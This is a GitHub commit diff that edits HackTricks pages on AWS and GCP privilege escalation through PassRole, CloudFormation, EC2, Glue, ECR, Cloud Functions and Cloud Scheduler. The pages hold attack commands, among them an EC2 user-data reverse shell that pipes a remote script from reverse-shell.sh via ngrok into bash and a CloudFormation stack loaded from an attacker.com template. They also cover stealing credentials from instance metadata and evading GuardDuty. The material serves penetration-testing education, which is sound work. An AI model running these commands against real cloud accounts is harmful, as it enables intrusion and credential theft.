Skip to content

Commit

Permalink
GITBOOK-560: change request with no subject merged in GitBook
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Feb 2, 2024
1 parent 0c70511 commit 61bde70
Show file tree
Hide file tree
Showing 15 changed files with 98 additions and 118 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -24,14 +24,12 @@ For more information about cloudformation check:

### `iam:PassRole`, `cloudformation:CreateStack`

An attacker with **`iam:PassRole` and `cloudformation:CreateStack` can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to execute actions under the permissions of a specified role, potentially leading to unauthorized resource creation or access escalation.

**Command Example:**
An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:**

```bash
aws cloudformation create-stack --stack-name my_stack \
--template-url http://my-website.com/my-malicious-template.template \
--role-arn arn_of_cloudformation_service_role
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```

In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -73,7 +73,7 @@ An attacker could for example use a **cloudformation template** that generates *

Then **generate the cloudformation stack**:

```
```bash
aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
Expand All @@ -82,7 +82,7 @@ aws cloudformation create-stack --stack-name privesc \

**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**:

```
```bash
aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
--region uswest-2
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -24,9 +24,7 @@ For more info about datapipeline check:

### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`

Users with **`iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, and `datapipeline:ActivatePipeline` permissions can escalate privileges by creating a Data Pipeline**, configuring it to execute AWS CLI commands or create resources regularly or once, using the permissions of the assigned role.

**Command to Create Pipeline:**
Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:**

```bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Expand Down Expand Up @@ -73,8 +71,8 @@ Moreover, the EC2 instance will only have access to the role assumable by the EC
{% endhint %}

```bash
aws datapipeline put-pipeline-definition --pipeline-id unique_string \
--pipeline-definition file:///path/to/my/pipeline/definition.json
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
```

The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges.
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -24,16 +24,16 @@ For more **info about EC2** check:

### `iam:PassRole`, `ec2:RunInstances`

An attacker with the `iam:PassRole` and `ec2:RunInstances` permissions can **create a new EC2 instance** that they will have operating system access to and **pass an existing EC2 instance profile to it**. They can then login to the instance and **request the associated AWS keys from the EC2 instance meta data**, which gives them access to all the permissions that the associated instance profile/service role has.
An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint.

* **Access via SSH**

You can run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`).
Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`).

```bash
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro \
--iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key \
--security-group-ids sg-123456
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```

* **Access via rev shell in user data**
Expand All @@ -44,13 +44,17 @@ You can run a new instance using a **user data** (`--user-data`) that will send
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id ami-0c1bc246476a5572b --instance-type t2.micro \
--iam-instance-profile Name=EC2-CloudWatch-Agent-Role \
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```

An important note to make about this attack is that an **obvious indicator of compromise** is when **EC2 instance profile credentials are used outside of the specific instance**. Even AWS GuardDuty triggers on this (https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types.html#unauthorized11), so it is not a smart move to exfiltrate these credentials and run them locally, but rather **access the AWS API from within that EC2 instance**.
Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:

{% content-ref url="../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md" %}
[aws-guardduty-enum.md](../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md)
{% endcontent-ref %}

**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles.

Expand Down Expand Up @@ -285,6 +289,10 @@ This way isn't that useful to privesc as you need to know a username and passwor

**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances.

## References

* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ For more info on how to download images:

**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.

### `ecr:GetAuthorizationToken`,`ecr:BatchCheckLayerAvailability`,`ecr:CompleteLayerUpload`,`ecr:InitiateLayerUpload`,`ecr:PutImage`,`ecr:UploadLayerPart`
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.

Expand Down Expand Up @@ -78,6 +78,7 @@ Contents of `my-policy.json`:
Like the previoous section, but for public repositories.\
An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.

{% code overflow="wrap" %}
```bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
Expand All @@ -104,6 +105,7 @@ echo '{
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
{% endcode %}

**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -18,15 +18,15 @@ Other ways to support HackTricks:

### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)

Users with `iam:`**`PassRole` and `glue:CreateDevEndpoint`** permissions can exploit these to **set up a new AWS Glue development endpoin**t, **assigning an existing service role** with specific permissions to this endpoint.
Users with these permissions can **set up a new AWS Glue development endpoin**t, **assigning an existing service role** with specific permissions to this endpoint.

After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role:

```bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint \
--role-arn arn_of_glue_service_role \
--public-key file:///path/to/my/public/ssh/key.pub
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
Expand All @@ -42,12 +42,12 @@ For stealth purpose, it's recommended to use the IAM credentials from inside the

### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)

Users with **`glue:UpdateDevEndpoint`** permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role, potentially leading to unauthorized access or actions.
Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role:

```bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///path/to/my/public/ssh/key.pub
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -52,21 +52,9 @@ If **OSLogin is enabled in the instance**, with this permission you can just run

If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance.

### `compute.instances.create`,`iam.serviceAccounts.actAs`
### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`

This method **creates a new Compute Engine instance with a specified Service Account**, then **sends the token** belonging to that Service Account to an **external server.**

The following additional **permissions are required** for this method:

* _compute.disks.create_
* _compute.instances.create_
* _compute.instances.setMetadata_
* _compute.instances.setServiceAccount_
* _compute.subnetworks.use_
* _compute.subnetworks.useExternalIp_
* _iam.serviceAccounts.actAs_

![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image9-750x594.png)
It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it.

The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,12 @@ For more information about API Keys check:
[gcp-api-keys-enum.md](../gcp-services/gcp-api-keys-enum.md)
{% endcontent-ref %}

For other ways to create API keys check:

{% content-ref url="gcp-serviceusage-privesc.md" %}
[gcp-serviceusage-privesc.md](gcp-serviceusage-privesc.md)
{% endcontent-ref %}

### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>

As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -24,23 +24,15 @@ More information about Cloud Functions:

### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

For this method, we will be **creating a new Cloud Function with an associated Service Account** that we want to gain access to. Because Cloud Function invocations have **access to the metadata** API, we can request a token directly from it, just like on a Compute Engine instance.
An attacker with these privileges can **create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account**. Then, leak the Service Account token from the metadata to escalate privileges to it.\
Some privileges to trigger the function might be required.

You will also need **some permission to trigger the function**.

The script for this method uses a premade Cloud Function that is included on GitHub, meaning you will need to upload the associated .zip file and make it public on Cloud Storage (see the exploit script for more information). Once the function is created and uploaded, you can either invoke the function directly or modify the IAM policy to allow you to invoke the function. The response will include the access token belonging to the Service Account assigned to that Cloud Function.

![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image12-750x618.png)

The script creates the function and waits for it to deploy, then it runs it and gets returned the access token.

The exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).

### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

Similar to _cloudfunctions.functions.create_, this method **updates (overwrites) an existing function instead of creating a new one**. The API used to update the function also allows you to **swap the Service Account if you have another one you want to get the token for**. The script will update the target function with the malicious code, then wait for it to deploy, then finally invoke it to be returned the Service Account access token.

You will also need **some permission to trigger the function or wait** until someone triggers it.
An attacker with these privileges can **modify the code of a Function and even modify the service account attached** with the goal of exfiltrating the token.\
Some privileges to trigger the function might be required.

The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -16,29 +16,19 @@ Other ways to support HackTricks:

## cloudscheduler

### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

Cloud Scheduler allows you to set up cron jobs targeting arbitrary HTTP endpoints. **If that endpoint is a \*.googleapis.com endpoint**, then you can also tell Scheduler that you want it to authenticate the request **as a specific Service Account**, which is exactly what we want.
An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command.

Because we control all aspects of the HTTP request being made from Cloud Scheduler, we can set it up to hit another Google API endpoint. For example, if we wanted to create a new job that will use a specific Service Account to create a new Storage bucket on our behalf, we could run the following command:
Example to create a new job that will use a specific Service Account to create a new Storage bucket on our behalf, we could run the following command:

{% code overflow="wrap" %}
```
gcloud scheduler jobs create http test –schedule=* * * * * –uri=https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>’ –message-body “{‘name’:’new-bucket-name’}” –oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com –headers Content-Type=application/json
```bash
gcloud scheduler jobs create http test –schedule='* * * * *' –uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com –headers Content-Type=application/json
```
{% endcode %}

This command would schedule an HTTP POST request for every minute that authenticates as _111111111111-compute@developer.gserviceaccount.com_. The request will hit the Cloud Storage API endpoint and will create a new bucket with the name “new-bucket-name”.

The **following additional permissions** are required for this method:

* _cloudscheduler.jobs.create_
* _cloudscheduler.locations.list_
* _iam.serviceAccounts.actAs_

To escalate our privileges with this method, we just need to **craft the HTTP request of the API we want to hit as the Service Account we pass in**. Instead of a script, you can just use the gcloud command above.

A similar method may be possible with Cloud Tasks, but we were not able to do it in our testing.
To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**

## References

Expand Down
Loading

0 comments on commit 61bde70

Please sign in to comment.